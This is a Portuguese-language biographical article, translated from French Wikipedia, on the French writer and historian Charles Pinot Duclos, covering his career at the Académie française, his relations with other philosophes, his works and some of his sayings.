Charles Pinot Duclos

Charles Pinot Duclos

Traduzido do verbete da Wiki-Fr. por Miguel Duclós para o Consciencia.org

 

Charles Pinot Duclos. Pastel por Maurice Quentin de La Tour. Saint-Quentin, Museu  Antoine Lécuyer.

Charles Pinot Duclos, nascido em Dinan, na Bretanha em 12 de fevereiro de 1704 e morto em Paris em 26 de março de 1772, foi um escritor e historiador francês. 

 

 

Biografia

Sendo filho de um rico comerciante de chapéis de Dinan,  Charles Duclos  parecia destinado a herdar  os negócios do pai, mas cedo ele se mostrou  uma criança dotada de inteligência muito aguçada e ótima memória, por isso sua mãe, quando tornou-se uma víuva, decidiu enviá-lo para estudar em Paris. Lá, ele começou os cursos da academia que existiam na rua de Charonne, com o abade de Dangeu, depois foi ao colégio d'Harcout onde começou a estudar o direito para tornar-se um advogado.  Mas foi perdendo o foco deste objetivo, aplicando-se sobretudo ao estudo das armas, antes de decidir consagrar-se às letras. Ele frequenta, então, o café Procopé e o café Gradot,  onde logo foi notado nas  conversas com suas participações oportunas e enriquecedoras. 

 Era, segundo J-J Rousseau, "um homem direito e hábil" (droit e adroit). Segundo Jean-François de La Harpe, "ele tinha uma franqueza extrema que no entanto não era desagradável.  Seja por hábito ou estilo, ele guardava esta característica mesmo quando elogiava, não podendo nunca ser acusado de perdê-la.  Mais do que isso, ele tinha um senso de justiça que o tornava incapaz de esconder sua opinião ou perder sua liberdade por qualquer interesse político.  Mas mesmo assim, isso não foi um obstáculo para sua carreira, uma vez que nunca ofendia a vaidade dos homens de letras, e mantinha seus interesses comuns com as pessoas do seu círculo" . Duclos manteve forte seu espírito e liberdade de expressão, mas foi sempre lembrado e mencionado com palavras amistosas. 

Ele fez sua estréia literária nas coletâneas publicadas pelos homens de letras do círculo ligado ao Conde Caylus, com títulos tais como Étrennes de la saint JeanRecueil de ces MessieursLes ManteauxLes Écosseuses e les Œufs de Pâques.

Charles Pinot Duclos. por Carmontelle. Chantilly, Musée Condé.

Protegido pela Mme. Pompadou e pela Mme. de Tenci, tornou-se muito conhecido dentro de todos os salões filosóficos e cafés literários, tornando-se membro da Sociedade da Caverna, e sendo nomeado para a Academia de Inscrições e Belas-Letras (Académie des Inscriptions et Belles-Lettres)  em 1739, sem que ninguém o tivesse indicado . Os cidadãos de Dinan o nomearam prefeito em 1744, e, nesta qualidade, tomou parte dos "Estados da Bretanha".  Quando estes foram convocados pelo Rei, em 1755, Duclos recebeu títulos de nobreza. 

Em 26 de janeiro de 1747 foi nomeado recebido na Academia Francesa, ainda que ainda não tivesse escrito mais do que três romances, um ballet e um ensaio histórico, a História de Luís XI (1745). Em 1750, ele substitui Voltaire – que havia partido para a Prússia, como o historiador da França. 

Em seguida, publica, em 1751, as Considérations sur les Mœurs, sobre as quais Louis XV disse  : « É uma obra de um homem honesto». Les Mémoires pour servir à l’histoire des mœurs du xviiie siècle, que ele desenvolve a seguir, são como o complemento das  Considérations. Aproveitando das vantagens da sua posição de historiador, ele redige as  Mémoires secrets des règnes de Louis XIV de Louis XV,  que só foram publicadas depois de sua morte. 

Em 1755, Duclos torna-se secretario perpétuo da Academia Francesa. Nesta função, mostra-se muito ativo e presta inúmeros serviços para a Academia, sendo um dos principais responsáiveis pela edição de  1762 do Dictionnaire, onde escreveu o prefácio, superando  o lugar-comum de enaltecer a moral dos grandes homens com grandiloquencia (1755). Ele se opôs às candidaturas de senhores ricos quando elas não era justificáveis pelos méritos literários, defendendo a dignidade da Academia sempre que tinha oportunidade, como quando demonstrou-se firme na eleição do Conde de Clermont, conseguindo que este renunciasse ao título de "Monsenhor" para ser eleito, e do marechal de Belle-Isle, fazendo com que este se submetesse à regra geral do agendamento de visitas.

Na Academia, geralmente seguia a posição dos filósofos iluministas, mas sem participar muito, uma vez que o excesso de membros do partido o irritava. Os grandes pensadores e os sub-pensadores do nosso século, diz ele, farão e dirão tanto que acabarão por me fazer confessar.  Suas relações com Voltaire foram frias, e a correspondência com ele é somente acadêmica e protocolar. Ele não manteve relações com Diderot, que o acusou de ter boicotado sua nomeação para a Academia. Também se desentendeu com D'Alembert, com que nunca se reconciliou totalmente. Geralmente, seu caráter autoritário tornou difíceis as relações com os colegas dentro da Academia… 

En 1763, Duclos recebeu a recomendação urgente de deixar a França depois que defendeu seu amigo e compatriota La Chalotais contra o duque de Aiguillon. Ele viajou então para a Inglaterra em 1763 e em 1776, depois de ter criticado duramente a condenação de Chalotais, faz uma viagem para a Itália e escreve, no seu retorno as Considérations sur l’Italie, que só foram publicadas depois da Revolução Francesa.  Ele morreu em 1772. 

Obras

 

A obra mais célebre de Duclos é a Considérations sur les mœurs de ce siècle (1751), que obteve grande sucesso e foi traduzida para o inglês e o alemão no século seguinte, sendo seguidamente reeditada. Ela foi escrita com picardia e um estilo preciso. por vezes claro, por vezes seco.  O retrato dos modos e do espírito da época é muito vívido. O autor disse depois de sua obra, com justiça: "Eu não olho para tudo, mas o que olho, enxergo bem: eu não não enfeitei nada, mas serei lido". 

Nesta obra o autor não fala das mulheres. Mas ele as aborda em um outro livro,  as Mémoires pour servir à l’histoire des mœurs du xviiie siècle (1751),  muito inferior ao precedente. 

  • Histoire de la baronne de Luz, anecdote du règne de Henri IV, 1741 : história de uma mulher que sempre perde sem nunca estar errada. 
  • Confessions du comte de ***, 1742 : romance que foi um grande sucesso – sem enredo, trata-se de uma série de retratos. 
  • Les Caractères de la Folie, ballet em 3 atos, de 1743
  • Acajou et Zirphile, 1744 : conto de fadas, escrito para acompanhar as ilustrações que já tinham sido desenhadas por François Boucher para um outro texto, que havia sido apresentado à Sociedade da Caverna, da qual o autor fazia parte. 
  • Histoire de Louis XI, 1745 : apesar do estilo seco, epigramático, este ensaio mostra um esforço de imparcialidade e baseia-se em pesquisas sérias. 
  • Considérations sur les mœurs de ce siècle, 1751
  • Mémoires pour servir à l’histoire des mœurs du xviiie siècle, 1751
  • Considérations sur l’Italie, 1791 : obra de moral e de filosofia política. 
  • Mémoires secrets sur le règne de Louis XIV, la régence et le règne de Louis XV, 1791 : esta obra perdeu o interesse depois que foram publicadas as Mémoires de Saint-Simon, as quais Duclos teve acesso em cópia manuscrita. 
  • Remarques sur la Grammaire de Port-Royal : nesta obra, em que Duclos mostra um grande conhecimento da gramática, ele preconizou uma reforma da ortografia mais conforme a lógica da pronuncia. .

Suas obras completas foram publicas em 1806 e em 1820, com uma biografia por  Mathieu Guillaume Thérèse Villenave.

Citações e frases de Duclos

A modéstia é a única qualidade que pode ser companheira da glória. 

A cólera é uma raiva manifesta e passageira, a raiva, uma cólera contida e permanente, 

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